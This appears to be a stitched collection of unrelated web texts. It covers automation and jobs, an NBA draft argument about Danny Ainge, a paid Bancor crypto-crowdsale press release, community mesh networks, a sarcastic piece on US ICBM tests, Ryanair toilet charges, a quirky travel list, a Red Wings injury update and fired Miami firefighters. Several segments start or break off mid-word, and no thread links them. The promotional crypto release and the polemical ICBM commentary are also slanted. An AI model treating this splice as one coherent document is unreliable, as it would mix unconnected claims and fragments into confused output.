It is possible that ongoing development of these technologies, including infrastructure, will create more jobs than are lost in the wake of self-driving vehicles, but it is likely that the skills required for such jobs will be quite different from those currently possessed by today’s truckers and taxi drivers. The new jobs are likely to rely more heavily on analytic, cognitive, and technical skills. Indeed, even in the near term, as self-driving technologies are being developed, the occupation of trucking is likely to be transformed.
So it was ever thus. Continuing technological advance, as in the past, is unlikely to produce a future of no jobs. It will lead instead to a future of different and more highly skilled jobs. Rather than bemoaning a chimerical disappearance of work, or seeking to somehow reinvent the manufacturing economy of the past, the left should seek to increase access to high-skill and growing sectors of the economy, particularly in regions where the decline in low-skill industrial labor has significantly eroded the job base.
Analysis of Census data indicates that 84 percent of noncollege workers who make $50,000 a year or more work outside |
ly enough, looking at Chad Fords Insider today they had Brooks rated as the 15th best prospect in this draft just ahead of Tobias Harris. Forde also didn’t have Jimmy Butler in his top 20 (can’t see past that without Insider).
Passed on — Chandler Parson, Isaiah Thomas, Bogdanovic and Jimmy Butler. Ah HA! Ainge sucks!
Spurs — Trade George Hill to draft Kawhi Leonard. Obviously an A move. Drafted Corey Joseph at 29 and passed on Jimmy Butler as well who was taken at 30 right after. So how do you reconcile that? Is he genius for going after Kawhi, which it was, but then an idiot for not taking Butler, like you’ve called Ainge? Which one is it? If he didn’t think Butler was as good as Corey Joseph, can we operate under the notion that he thought Kawhi was gonna be Kawhi? That wouldn’t make sense.
Heat — Again, no draft picks. Probably best that Riley doesn’t draft given who he has taken.
Presti — Took Reggie Jackson, who he traded away for Enes Kanter. Man, he’s great at drafting guys just sucks at keeping them or not trading them huh? For the record, he also passed on Jimmy Butler.
Morey — Drafted the crappier of the two Morris brothers and drafted Nikola Mirotic. With two picks in the first, including the 23rd he too passed on Jimmy Butler. Twice. But goddamn you Danny Ainge!
2012:
Celtics — Ainge takes Sullinger and Fab Melo at 21 and 22. The only decent 1st he passed on here was Miles Plumlee who sucks so would it have been a better draft if he took Sully and Plumlee? We gonna kill him for that? It was just a C- draft.
Passed on — In the second round Crowder, Draymond, Middleton.
Outcome — This is the dumbest anti-Ainge argument. The He Should Have Known About Draymond! take. You know how passed on Draymond? The Warriors did at 30 and took Ezili. Green also sucked his first two years in the league. What about Kris Middleton? Well, the team that drafted him (Detroit) must not have thought he was gonna be any good cause they had him in the D-league all year then shipped him and Brandon Knight to MIL for Brandon Jennings.
Heat — You know who Pat Riley took instead of Draymond? Arnett Moultrie.
Presti — He took Perry Jones who doesn’t play in the NBA anymore instead of Draymond Green.
Morey — With three picks in the first he took Lamb, Royce White, and Terrence Jones and passed on Henson, Harkless, Tyler Zeller, Evan Fournier and Jared Sullinger. All who were better pros then the three he drafted.
2013 aka Worst Draft Ainge Ever Had:
Celtics — Ugh. Traded up to acquire he who shall not be named.
Passed on — Greek Freak, Dennis Schroeder, Gorgui Dieng, Mason Plumlee and Rudy Gobert.
Outcome — An F, clearly. And this illustrates my issue with his foreign scouting of Freak, Gobert and Schroeder. I give him a pass on Gobert because he was drafted by Denver, not Utah, and traded for Eric Green and Cash and spent two years in the D-League. But Greek Freak should have been the roll the dice pick.
Spurs — Took Livio Jean Charles. Didn’t really pass on anyone other than Allan Crabbe. Draft was kinda shit in the second round.
Heat — None again. Maybe realized he sucked at this after taking Moultrie.
Presti — Archie Goodwin over Crabbe and Isiah Caannan.
Morey — No picks. What a crap draft late.
2014:
Celtics — Marcus Smart and James Young. I don’t like Smart’s zero offensive game but he is arguably the best defensive guard in the league. His other options were Randle, Stauskas, Vonleh, Elfrid, Lavine, Saric, McDermott at the top. I’d probably like Lavine more and Saric didn’t play till this year and was only good when everyone was injured. Doubt he’s gonna be that guy with Simmons and Fultz and Embiid back. This is an average pick. He didn’t miss but just didn’t get the guy I would have preferred. For Young, he passed on Harris, Hood, Bogdanovic. All of those guys are fantasy darlings, Hood and Harris are always injured and Bogo is essentilly the guy Young was projected to be. Young sucks so in hindsight it’s certainly a bad pick. Presti passed on Hood as well though so just goes to show it’s not perfect.
Spurs — Took Kyle Anderson at 30. Passed on Nikola Jokic and Jordan Clarkson. Best GM in the league should have known Jokic was gonna blow up right?
Heat — PJ Hairston over Bogo and Jokic and Clarkson.
Presti — Took Mitch McGary over Hood, Jokic, Clarkson. If we’re going on the logic that Ainge isn’t good because he doesn’t identify guys like Draymond late in the second, then we would assume that the GMs that are better than him at drafting would have known that Nikola Jokic was gonna be better than Mitch McGary.
Morey — Clint Caplea. Cool but it took 4 years for him to finally play. I guess we should give it time and patience.
2015:
Celtics — Terry Rozier and RJ Hunter. Hunter is an F but Rozier is a C so far. Average guy. Ainge passed on Portis, Dekker, Jerian Grant. Really no one that has been better than Rozier. I think we like Portis better, at least when he plays against us but that doesn’t discount Rozier’s value.
Spurs — Took Nikola Mulitov. No idea.
Heat — Justise Winslow. Passed on Devin Booker and Myles Turner. Kind of laughable if you thought Riley was better at this point.
Presti — Cameron Payne…passed on Rozier. Too early to tell between those two right. If OKC offered you Payne for Rozier straight up we’re saying no though right?
Morey — Sam Dekker…passed on Portis as well. Maybe he knew something too.
Not going to do last year’s draft since the Heat, OKC and Houston all didn’t have any picks. And I also stopped adding in the trades like the fleecing of the Nets, the trading of Rondo for Jae Crowder, the trading of Marcus Thornton for a league MVP guard, etc..
Ainge missed on Giannis. It was a huge mistake mainly because we hate the guy he got. But even if he got Dennis Schroeder, we’d still hate the pick. It’s completely fair to criticize the miss but saying he’s not good at talent evaluation? Compared to who? The guys you all agree are the best GMs miss in the draft way more than Ainge does. But “the Bucks went and got their guy” like they knew he was gonna be this good. C’mon. No one knew that. He was 17th on Ford’s prospect ranking which is a survey of GMs and you were all saying was gospel with regards to Fultz as teir 1. That would also mean they knew “the guy” every year. Was their guy Jimmer in 2011 cause they drafted him at 10 instead of Klay Thompson who went at 11 and Kawhi Leonard at 15. Did they go after their guy in 2010 with Larry Sanders instead of Bledsoe and Bradley?
What you can say is that year after year Ainge has made very good draft picks. How many no name guys did Buford draft? Pat Riley had the #2 pick and passed on the league MVP and a HOFer in Kevin Love. Putting aside the fact that Presti has lost two HoFers and traded another one, where’s his genius drafting? When he’s picked in the teens and later like Ainge he’s missed a ton and traded away guys like Jackson and Eric Bledsoe. Darryl Morey, who was groomed by Ainge, hasn’t put a team together that’s been at the top of the west until this year and most often passed on the same guys Ainge did. Morey had three chances to draft Draymond Green and he took Royce White. At least Ainge got Sullinger.
Danny Ainge has orchestrated two of the greatest trades in NBA history, he’s consistently added key pieces in the draft nearly every single year, we just played in the ECFs with a team full of guys he’s drafted or traded for, we have max cap space and we have 3 top 5 picks in the next two years. There isn’t a GM in the league that’s done anything close to the trades or drafting that he’s done. Period. So cut the “GMs take the right guys” bulls*t. They don’t. More than half the time they take the wrong guys as the above shows. The GM who traded for (not drafted) Kawhi passed on Butler. How do you explain that while you kill Danny Ainge for not taking Butler as well? You can’t. And RC Buford certainly isn’t better at trading than Ainge. That’s a fact. The GM of the Warriors was smart enough to draft Thompson at 11 in 2011. Sure. What was he in 2010 when he took Ekpe Udoh over Paul George and Gordon Hayward?
No GM in the past 14 years has drafted better or more consistently hit on above average NBA players out of the draft than Danny Ainge. No one. If there’s a GM you think drafts better, go ahead and prove it.Bancor Launches First Crowdfunding Valuation and Promotion by WINGS DAO on Ethereum
This is a paid press release, which contains forward looking statements, and should be treated as advertising or promotional material. Bitcoin.com does not endorse nor support this product/service. Bitcoin.com is not responsible for or liable for any content, accuracy or quality within the press release.
Zug, Switzerland — June 5, 2017 — Bancor Protocol, the standard for creation of intrinsically tradeable cryptocurrencies or ‘Smart Tokens’, today announced a collaboration with WINGS, an Ethereum-based platform that harnesses the power of crowds for discovery and promotion of projects seeking funding, to help value and promote the upcoming crowdsale of the BANCOR network.
The BANCOR network token will be the first Smart Token benefiting from continuous liquidity and automatic price discovery directly through its smart contract, without the need for a second party to exchange with, nor dependent on being listed in an exchange. Members of the WINGS DAO will be able to forecast on the result of the upcoming Bancor token sale this June, and share their forecasts with their social networks. Accurate forecasts will receive higher payments rewards which could be as high as $250,000. Members of the public will be able to see the forecasts of their social connections as well as aggregations of the crowd’s sentiment for Bancor. For many people new to cryptocurrencies and smart tokens, crowd valuations are an important part of their understanding the project’s climate for success.
“BANCOR is a truly innovative concept in the cryptocurrency space that will allow 1000s of new currencies to float on the Ethereum network,¨ says Boris Povod, President of the WINGS Foundation Council. “We designed WINGS to allow people from all over the world to value and promote projects they believe in and are excited to have a team and project as strong as Bancor to be the first crowdfund presented to the WINGS community.”
In this first decentralized analysis of a token, the WINGS DAO community will have the chance to evaluate and provide feedback on the BANCOR network token crowdsale at https://Wings.ai.
“We are excited to work with WINGS on harnessing the power of the crowd to help people evaluate the sentiment around the Bancor Protocol project. Bancor at its core is about allowing mass participation in the emerging value network economy, and this is another great way to bring people in and empower individuals to participate actively”, says Eyal Hertzog, Cofounder and Chief Product Architect.
Once the Bancor crowdsale ends the WINGS DAO will be rewarded based on the performance of the crowdsale with a mix of Bancor token and Ether capping at $250,000.
WINGS token holders will be able to collect their algorithmically determined forecasting reward, based on the math model designed by Dr. Sergey Popov, simply by calling on a smart contract which will distribute their allotted Ethereum and BANCOR tokens as well as adjust their publically available WINGS Forecast Rating.
About Bancor
Bancor protocol is an initiative of the Bprotocol Foundation, a nonprofit organization based in Zug, Switzerland. Bancor protocol is a standard for the creation of Smart Tokens, a new category of cryptocurrencies which are intrinsically tradable. Starting on the Ethereum public blockchain, Bancor utilizes a new method to enable built-in price discovery and an automatic liquidity mechanism for Smart Tokens, without the need for matching two parties in an exchange. The Bancor Protocol creates a new type of interconnected asset exchange ecosystem, and unlocks the long tail of user-generated currencies. Smart tokens are designed with additional functionality such as delegated account recovery to address the key barriers in security and liquidity that prevent mass adoption of cryptocurrencies.
For more information about Bancor, visit our website at https://www.bancor.network
Media Contact: Galia Benartzi, [email protected]
About WINGS Foundation
WINGS Foundation is based in Switzerland and comprised of a decentralized team of professionals aiming to bring blockchain-enabled projects to the mainstream via forecasting. WINGS uses DAO technology to enable a new type of emergent incentivized swarm intelligence for value discovery on the Ethereum. WINGS provides best in class libraries of smart contracts for blockchain based crowdfunding and for post-funding decentralized governance. To learn more please visit: https://wings.ai.
This is a paid press release. Readers should do their own due diligence before taking any actions related to the promoted company or any of its affiliates or services. Bitcoin.com is not responsible, directly or indirectly, for any damage or loss caused or alleged to be caused by or in connection with the use of or reliance on any content, goods or services mentioned in the press release.Recently, a pair of artists in New York put forward an unusual plan for teaching middle school students about the Internet: specifically, by teaching them how to get off it and build their own.
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Katherine Ortiz installing a mesh node in Red Hook Photo courtesy of Red Hook WiFi While mesh networks still pose a number of technical challenges, communities around the U.S. are slowly assembling their own meshes as a way to provide alternatives to ISPs, spread Internet access across neighborhoods, or just experiment with the boundaries of the existing network. The Internet once provided users the space to share their ideas without prejudice. The concept of localized wireless networks goes back at least to the 1970s, when University of Hawaii researchers built ALOHANet, connecting computers across the Hawaiian islands. In a “mesh,” instead of relying on a central network, users wirelessly transmit information directly between each other, relaying messages across a network of computers whose connections are chained together. As inspiration for their private anonymous social network, Phiffer and McNeil cite writer and programmer Paul Ford’s deliberately retro but still Internet-accessible Tilde.club network, as well as various other networks built around shared interests, limited geographical areas, and often, anonymity. “The internet once provided users the space to share their ideas without prejudice against their age, race, gender, sexual orientation, or other aspects of their identity,” Phiffer and McNeil wrote. “These workshops offer the opportunity to experience what the Internet used to be like, and could be like again–as an open forum for many people to share their ideas.” Dan Phiffer’s occupy.here, a local, temporary bulletin board served up as part of a Wi-Fi hotspot, was created around the Occupy Wall Street protests. Phiffer knows these platforms well. In 2011, he built Occupy.here, an open source software toolkit that turns off-the-shelf Wi-Fi routers into wireless servers for community forums that are limited, by design, to those within reach of the signal. It’s a portable network, with one central node, often trading in data directly relevant to its physical location. The project took its name from Occupy Wall Street, when Phiffer first deployed routers equipped with the forum software for use as a digital bulletin board during the original 2011 demonstrations in Manhattan’s Zuccotti Park. A few routers equipped with the software–each hosting their own independent forum available to anyone who connects to them–are still active across the city.
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“I kind of felt like it was more useful after the park, potentially, as a way to create alternate spaces where people could come and go and leave messages,” says Phiffer, who also works as a developer at The New Yorker. “The one that was in the park was always competing with other things that people were doing in the park.” You’re The Network Sarah Grant, a Brooklyn-based artist and programmer, imagined an interesting sociological use for a wireless mesh network. If deployed in a place like a coffee shop, she thought, a local network might be a more comfortable forum for strangers to communicate than, say, speaking face-to-face. Sarah Grant, creator of the mesh networking platform Subnodes That hypothesis seemed to pan out during Grant’s 2012 residency at the art and technology center Eyebeam, when she debuted Subnodes, an open source project that turns the under-$50, credit-card-sized Raspberry Pi computer into a Wi-Fi router equipped with its own local web server and chat room. “Obviously people thought it was fun,” she says. “It also gave people a space to kind of talk about the work really candidly–what they liked, what they didn’t like–maybe just a way for people to more openly express their feelings about what’s in front of them while also just having fun and goofing off.” Subnodes could help artists set up local digital art galleries, or help activists or events organizers set up local, short-term message boards without having to work with big ISPs like Comcast or Time Warner Cable. “They could set up a network in a place that wouldn’t normally have connectivity, like a subway, or in a park, or really anywhere, because you’re the source of the network: you’re the server,” she says. “To me, that was really interesting and empowering.” Nearby Raspberry Pis running Grant’s software can also connect with one another through a popular mesh networking protocol called BATMAN. Photo: Flickr user Dylan Parker
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To save money on phone calls, users tended to connect to BBS’s in their own areas, meaning each local server developed its own culture. Grant took some inspiration from the pre-Web, dial-up bulletin-board systems that connected computer users in the 1980s and early ’90s. Since long distance calls were expensive at the time, users generally connected to BBS’s in their own areas, meaning each local server developed its own culture, she says. Local BBS servers weren’t entirely disconnected from one another–a complex network called FidoNet would slowly transfer email from server to server through late-night modem calls scheduled to minimize long-distance calling charges–but BBS’s were ultimately eclipsed by national networks like AOL and CompuServe, and by the global Internet itself. Mesh Networks’ Uphill Climb For modern-day community networks that grow beyond a single wireless router and the phones and laptops that connect to it, organizers face similar challenges in gaining the interest of the public and network infrastructure challenges, not unlike those that would be seen by a commercial ISP. In New York, a previously somewhat dormant effort that was revitalized last year, NYC Mesh, hopes to eventually blanket the city in a mesh Wi-Fi network that could share community information in the event of a disaster, or let its users reach the Internet through mesh-connected gateway computers when their own connections are down. It has about 20 publicly accessible access points, including in a bar and a video-game store in the East Village, says Brian Hall, a volunteer contributor to the project. “My personal interest was sort of a dissatisfaction with the monopoly by cable companies and other Internet service providers to consumers,” says Kurt Snieckus, an engineer who worked on NYC Mesh before moving to Chicago last year. “I saw a mesh network as a sort of way to create a more competitive or another option to having Internet service for the consumer public.”
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To add to the network, volunteers can either use a powerful $90 router that can communicate with other nodes within about a mile’s range, provided they establish a a line-of-sight connection to other routers, or a $22 router with a few buildings’ range—about the same as a home router. The more routers that join the network and expand its coverage, the more useful it is to the average person, providing a backup connection to the Internet and access to local information stored on the network itself at https://nycmesh.net/, Hall says. (To get started building a mesh with Cjdns, the protocol used by NYC Mesh, see the Project Meshnet wiki.) The basic structure of a local mesh with internet access. Graphic Gretabyrum NYC Mesh has been divided between those interested in building an emergency-ready network and those interested in building an alternative to ISPs. And yet, while the decentralized, ad hoc network architecture appeals philosophically to tech-savvy users fed up with monopolistic ISPs, nobody’s found a way to make mesh networks work easily and efficiently enough to replace home Internet connections. Built more for resiliency than for speed, each participating router must continuously search for the best paths to far-flung machines. For now, that makes them of limited interest to many ordinary consumers who simply want to check their email and watch movies. “The density of a mesh network adds reliability–somebody comes in and out of the network, the routing table updates itself, and you can still get messages from one place to another,” explains Jeff Lunt, a developer who works on a mesh in Chicago, ChicagoMeshNet. But keeping track of those routes can get messy. “[With] so many redundant connections, the bandwidth can start to get saturated just with routing table traffic.” Making A Secret Phone Call
How one artist examined the CIA, consulted hackers, and went far off the map to show the limits of digital privacy.
Read More >> That is, while the mesh network architecture works well for sending small bits of data from one loosely connected set of computers to another–like disaster relief information or other short messages–it is less useful for holding data for far-flung machines until a path can be found. Mesh networks can quickly get too saturated with data too quickly send a large file, or reliably maintain a connection to a streaming media service. “If you were trying to watch Netflix on a mesh network because you’re trying to use it for Internet service, that’s not going to work,” says Snieckus.
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Participants in the effort say the group has been somewhat divided between those more interested in building an emergency-ready network for transmitting local information and those interested in building an alternative to ISPs. This, according to Snieckus, “was one of the biggest stumbling blocks we had.” A lack of funds has also slowed progress, Hall says. “If we got the money, the first thing we’d do is hire someone full time to help us out.” There’s also some difficulty in connecting nodes operated by far-flung volunteers across the city. “Today someone said he wants to set up a node in Staten Island, and he could he do that, but it might be a while before we reach that far, so it would just be isolated.” Scaling Up To address some of the technical challenges of distributing data across a mesh, Lunt’s project in Chicago has transitioned to more of a traditional ISP-style hub-and-spoke model network, making the matter of routing data much simpler. By offering a Virtual Private Network service that lets users access ChicagoMeshNet-specific services like chat and message boards via the ordinary Internet, the developers have allowed the community network to spread to a larger geographic area. A growing international network of local meshes, called Hyperboria, takes a similar approach. Organizers have said they hope the network develops into “a viable alternative to the regular Internet.“
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Lunt and others point to Guifi.net, a 30,000-node community network centered mostly in rural areas of Spain’s Catalonia region and in parts of Northern Europe that are underserved by traditional ISPs, as a model for what they’d hope to accomplish. The ad hoc model is the one that the hackers love, because everybody has the same right to talk and to listen, so it’s a very horizontal architecture, but it has a lot of technical challenges The network lets anyone join by connecting a wireless router or fiber-optic line, so long as they agree to let others connect on the same terms, says Roger Baig, a full-time staff member on the project. Members can connect to chat and other services hosted on the network, access limited web services through public proxy servers, or connect to the Internet through competing ISPs who offer connections through the network, he says. Independent Guifi-inspired networks have also launched around the world, including in Kansas City, where the KC Freedom Network aims to bring wireless access to underserved parts of the community. But while the network aims for transparency and openness in its organizational structure, it’s moved away from the ad hoc mesh model in its engineering. “The ad hoc model is the one that the hackers love, because everybody has the same right to talk and to listen, so it’s a very horizontal architecture, but it has a lot of technical challenges,” says Baig, so Guifi’s adopted a more hierarchical network model. “We came up with a network that performs much better rather than the mesh networks,” he says. “Our network is used by companies to deliver services, and other companies are using the [network] on a daily basis in their work–I don’t think this could be done with an ad hoc network.” The first Red Hook Initiative WiFi node installed on the rooftop of the building that houses the RHI offices. Photo: JR Baldwin Meshing For Science (And Philosophy) But in some cases, ad hoc networks are the most attractive solution available. Consider the need to connect to scientific and industrial equipment located in areas too remote or chaotic to set up more traditional data links. “It’s very different from the urban example, but we do it conceptually for the same reasons: the sort of areas that are underserved by Internet,” says Jer Thorp, an artist and data visualization consultant who’ll be helping to build a small mesh network during an expedition through remote regions of the Okavango River delta in Angola and Botswana this summer. Wireless sensors deposited during the expedition will monitor water quality in remote parts of the region and form a mesh network to relay data through Internet connections at nearby safari camps.
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“The plan is to leave the sensor nodes out there and get their data over time,” says Shah Selbe, an engineer and conservation technologist on the project. “Overall, we want to get an idea of how things shift month after month and, ultimately, year after year.” In New York, McNeil and Phiffer hope their high school experiments won’t just educate students about network technology, but will offer a more meta lesson, shining a light back on the network itself. “People of my generation, Dan’s generation, grew up watching the Internet develop,” McNeil says. One benefit of seeing the global network evolve the way they did, Phiffer adds: “We kind of realize that none of these systems that we use are inevitable.”Less than two years ago, news of Russia test-firing an ICBM just as the east Ukraine civil war was heating up, was sufficient to send the stock market into a brief tailspin. Since then, the launches of nuclear-tipped intercontinental ballistic missiles has become an almost daily occurrence, with the market hardly batting an eyelid.
In fact, it happened just last night at 11:01pm PST at Vandenberg Air Force Base in California, where - for the second time this week - the US test-fired its second intercontinental ballistic missile in the past seven days, seeking to demonstrate its nuclear arms capacity at a time of rising strategic tensions with Russia, North Korea, China and the middle east.
The unarmed Minuteman III missile roared out of a silo at Vandenberg Air Force Base in California late at night, raced across the sky at speeds of up to 15,000 mph (24,000 kph) and landed a half hour later in a target area 4,200 miles (6,500 km) away near Kwajalein Atoll in the Marshall Islands of the South Pacific.
The entire launch was caught on the following video, which was released by Vandenberg just 4 days after the previous ICBM launch.
What was more disturbing than the actual launch, however, was the rhetoric behind it: instead of passing it off as another routine test, and letting US "adversaries" make up their own mind about what is going on, Deputy Defense Secretary Robert Work, who witnessed the launch, said the U.S. tests, conducted at least 15 times since January 2011, send a message to strategic rivals like Russia, China and North Korea that Washington has an effective nuclear arsenal. "That’s exactly why we do this," Work told reporters before the launch.
Of course, the #1 unspoken rule when launching ICBMs is to never explicitly say why you are doing it. By breaking said rule, it marks a much greater escalation in international diplomacy than merely test firing the nuclear-capable ballistic missile.
That, however, was not an issue and Work piled on, with the following stunner
"We and the Russians and the Chinese routinely do test shots to prove that the operational missiles that we have are reliable. And that is a signal... that we are prepared to use nuclear weapons in defense of our country if necessary."
Well that's good to know.
As Reuters adds, demonstrating the reliability of the nuclear force has taken on additional importance recently because the U.S. arsenal is near the end of its useful life and a spate of scandals in the nuclear force two years ago raised readiness questions.
The Defense Department has poured millions of dollars into improving conditions for troops responsible for staffing and maintaining the nuclear systems. The administration also is putting more focus on upgrading the weapons. President Barack Obama’s final defense budget unveiled this month calls for a $1.8 billion hike in nuclear arms spending to overhaul the country's aging nuclear bombers, missiles, submarines and other systems.
That said, the irony of the Nobel Peace Prize winner re-escalating the arms race was not lost on Reuters: the nuclear spending boost is an ironic turn for a president who made reducing U.S. dependence on atomic weapons a centerpiece of his agenda during his first years in office.
Obama called for a world eventually free of nuclear arms in a speech in Prague and later reached a new strategic weapons treaty with Russia. He received the Nobel Peace Prize in part based on his stance on reducing atomic arms. "He was going to de-emphasize the role of nuclear weapons in U.S. national security policy... but in fact in the last few years he has emphasized new spending," said John Isaacs of the Council for a Livable World, an arms control advocacy group.
Perhaps the Nobel committee should watch the video above and decide if it is not too late to ask for their prize back.
And just like that the nuclear arms race is back.
Critics say the Pentagon's plans are unaffordable and unnecessary because it intends to build a force capable of deploying the 1,550 warheads permitted under the New START treaty... Hans Kristensen, an analyst at the Federation of American Scientists, said the Pentagon's costly "all-of-the-above" effort to rebuild all its nuclear systems was a "train wreck that everybody can see is coming." Kingston Reif of the Arms Control Association, said the plans were "divorced from reality." The Pentagon could save billions by building a more modest force that would delay the new long-range bomber, cancel the new air launched cruise missile and construct fewer ballistic submarines, arms control advocates said. Work said the Pentagon understood the financial problem. The department would need $18 billion a year between 2021 and 2035 for its portion of the nuclear modernization, which is coming at the same time as a huge "bow wave" of spending on conventional ships and aircraft, he said. "If it becomes clear that it’s too expensive, then it’s going to be up to our national leaders to debate" the issue, Work said, something that could take place during the next administration when spending pressures can no longer be ignored.
As a reminder, the last time the U.S. engaged in a nuclear arms race with the USSR, it led to the collapse of the "evil empire." It would be even more ironic that Obama launching nuclear rockets if this time around the tables on the ultimate loser are turned.
In the meantime, just think of all the GDP-boosting "broken windows" that would result from a nuclear war.It has long cost more than a penny to use a public lavatory but Ryanair is threatening to bring a whole new meaning to sky-high prices by charging passengers to use its aircraft's toilets.
Michael O'Leary, the budget airline's chief executive, revealed today that it is considering coin slots on cubicle doors.
"One thing we have looked at in the past and are looking at again is the possibility of maybe putting a coin slot on the toilet door so that people might actually have to spend a pound to spend a penny in future," he told BBC Breakfast.
He insisted this would not inconvenience passengers. "We are always looking at ways of constantly lowering the cost of air travel and making it affordable and easier for all passengers to fly with us. I don't think there is anybody in history that has got on board a Ryanair craft with less than a pound. What do you do at Liverpool Street station at the moment [when] you need to spend a penny? I think you have to spend 20p to go to the toilets."
Ryanair recently announced it is to shut check-in desks at airports and have passengers check in online instead, and has also decided to end any prospect of peace and quiet on flights by introducing mobile phones. "Our flights are not cathedral-like sanctuaries," O'Leary said last week. Now, it seems passengers might have to cross their legs while phoning home.
The company offers low headline fares but charges extra for items such as additional baggage. Earlier this month, it confirmed it is to charge passengers £30 if they cannot pack their duty free into their single piece of hand luggage.
"We're all about finding ways of raising discretionary revenue so we can keep lowering the cost of air travel," O'Leary said. "In the last year we have reduced our fares by 10% when British Airways and others were whacking up their fares and whacking up their fuel surcharges. We guarantee the lowest fares and guarantee no fuel surcharges as well."
But consumer group Which? accused Ryanair of putting profit before the comfort of its passengers and being "prepared to plumb any depth to make a fast buck". Rochelle Turner, head of research at Which? Holiday, said: "Charging people to go to the toilet might result in fewer people buying overpriced drinks on board. That would serve Ryanair right."
Stephen McNamara from Ryanair said: "Michael makes a lot of this stuff up as he goes along and while this has been discussed internally there are no immediate plans to introduce it."
He added: "Not everyone uses the toilet on board one of our flights but those that do could help to reduce airfares for all passengers. Then again, maybe O'Leary was just taking the piss this morning."
Plane speaking – 10 chargeable things to check before you fly (airline practices and prices vary)
Check-in desk fee
Storing baggage in the hold
Speedy boarding
Storing sports and musical equipment
In-flight food and drink
Oxygen for those with medical conditions
Changing flight
Name change on a ticket
Payment handling fee
Charge to recipients of gift vouchersTraveling can broaden your mind. Actually, it almost definitely will. You will see and do things you’ve never seen or done before. And sometimes you will see and do things you never thought you will see or do. Here we go:
Our Top 10 weirdest stuff to do and see while traveling
1. Square Watermelons – Japan
Ever had the problem that a watermelon felt out of the fridge down the ground and messed up everything on the floor? Well, with a square watermelon this wouldn’t have happen. AND it also saves space in the fridge. That’s why the Japanese farmers have come up with the idea to let their watermelons grow in a plastic case to get the perfect square one. With this method, one could grow watermelons in all sorts of shapes. Wouldn’t it be nice to have a heart watermelon?
photo by Mark Liddell
2. Beer Baths – Germany/Czech Republic
You know the Germans love their beer and so do the Czechs. And it’s liquid. Like water. You bathe in water. Some clever people put two and two together and decided to invent the beer bath. For several years now, the beer bath has been offered at several German and Czech spas. Cleopatra’s milk bath is clearly outdated, so bring on the brew! Good for your skin and purging your body, it might be just what the doctor ordered. But be careful: The effect will get lost when you drink your bathwater. Sorry, your bathBEER.
3. The Penis Festival – Japan
Freud would be delighted about this festival at Kanamara Shrine in Kawasaki, Japan. Every year in spring, the streets here a filled with parades featuring huge penis statues. One can even buy candy, vegetables and gifts in the shape of male genitals. They say, that it was created about 200 years ago, by prostitutes praying for sexual safety. Nowadays the event helps to raise money for HIV/AIDS research. Plus it attracts a lot of tourists.
4. Lomé Voodoo Market – Togo
Your lover is cheating on you? Or you want bigger breasts? I don’t know if there are recipes for these problems but if there were, you are likely to find them here: at the Voodoo Market in Lomé, Togo in West Africa. Crocodiles’ heads, chimpanzees’ hands, horses’ hearts and elephants’ feet – just make your pick. Ask the next best voodoo priest and he will tell you what to buy and help you to produce your magic powder, soup or whatever else you may need to fulfill the spell. Want to run a marathon? Then you need the head, heart and four legs of a horse – just an example.
photo by Karin
5. Horseflesh Ice Cream – Japan
I don’t know if this Japanese ice cream has the same effect as the voodoo medicine but for sure you won’t run a marathon if you |
by recruiting activists to hold community meetings and door knocking rounds in key marginals.
“We’ll be asking more people to do more things to make climate change a critical issue,” she said.
“Commentary by the prime minister saying that we have too many trees really disturbs me. Nature provides products and services we need, but once we get into an exploitative relationship with nature she will kick our butt.”Pavel Datsyuk recovering from off-season ankle surgery, says in Russia he hopes he won't miss much time
The Detroit Red Wings' Pavel Datsyuk (13) on the ice against the Tampa Bay Lightning in the second period during Game 1 of the first round of the NHL playoffs at the Amalie Arena in Tampa, Fla., on Thursday, April 16, 2015. (Photo: Dirk Shadd, TNS)
Pavel Datsyuk says he'll be with the Detroit Red Wings when they begin the regular season Oct. 9.
But whether he's on the ice is a different story.
Datsyuk, recovering from a June 26 surgery to repair ruptured ankle tendons, indicated to SVT.se's Marie Lehmann today in Yekaterinburg, Russia, that he won't be ready for the start of the NHL season.
"They say 4-5 months," Datsyuk said of his recovery time. "We'll see how this goes.... I'll be there, but they not start me. I hope I miss (only) a little bit, the beginning of the season."
This isn't a surprise. In late June, Datsyuk's then-agent, Gary Greenstin, told the Free Press that Datsyuk would be ready for October, but the Red Wings aren't expecting Datsyuk back before November.
Despite that, Datsyuk didn't seem worried, telling Lehmann that the rest of the Wings should step up in his absence.
Datsyuk is in Yekaterinburg, his hometown, for his hockey school.
The Wings, under first-year coach Jeff Blashill, begin the season Oct. 9 against former coach Mike Babcock and the Toronto Maple Leafs at Joe Louis Arena.
Contact Brian Manzullo: [email protected]. Follow him on Twitter @BrianManzullo.After releasing the pictures of six firefighters fired over an incident in which someone hung a noose over a black lieutenant’s family photos inside a fire station, the city of Miami is now demanding that the media stop showing their pictures.
Just after midnight Friday morning, an assistant city attorney wrote an email to multiple news outlets demanding that the media “cease and desist from further showing the firefighters pictures in your coverage of this event.” Jones said the photos of the six men had been released accidentally.
“As former first responders, their photos are confidential and exempt under Florida’s public disclosure law and should not have been released,” wrote Kevin R. Jones.
The email was sent to the Miami Herald, WFOR, WPLG and the Associated Press, among other media outlets. The Miami Herald has decided to leave the photos on its website.
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Jones’ email came about eight hours after a Miami Fire Rescue spokesman released images from the Sept. 9 incident at Miami Fire Station 12, in which several firefighters are accused of taking an African American lieutenant’s family photos from inside a fire station, removing them from their picture frames and drawing penises on them. The pictures were reinserted in their frames and then placed back on a shelf, according to termination letters sent Wednesday.
The release of these photographs, which now appear in several media reports including reports on the internet … may subject the City to potential civil liability for the unwarranted disclosure of public records. Osnat K. Rind, attorney for Miami’s International Association of Firefighters
A noose made of thin white rope was then hung over one of the photos. Miami Fire Chief Joseph Zahralban has referred to the incident as “a hideous, distasteful act of hate.”
Robert S. Webster, the African-American firefighter and 17-year department veteran whose photos were defaced, told WPLG in an interview that his “first reaction was basically disbelief.”
“I knew it wasn’t a joke because of the progression of little things that were taking place,” he said.
Firefighters William W. Bryson, Kevin Meizoso, David Rivera, Justin Rumbaugh, Harold Santana and Alejandro Sese were fired Wednesday, as first reported by the Miami Herald. Another five employees remain under investigation and are subject to possible discipline.
The photos of the firefighters are part of this story. If we had received them from any other source, they also would have been published without hesitation. We have no intention of un-publishing them. Rick Hirsch, Miami Herald managing editor
On Thursday, ahead of a press conference scheduled for Friday morning with Miami’s mayor, Miami Fire Rescue also released the fired firefighters’ department photos even though Florida law exempts pictures of current and former firefighters from disclosure under the state’s broad public records laws. That evening, Miami City Attorney Victoria Mendez received an email from an attorney representing Miami’s fire union warning that the city may have set itself up for a lawsuit.
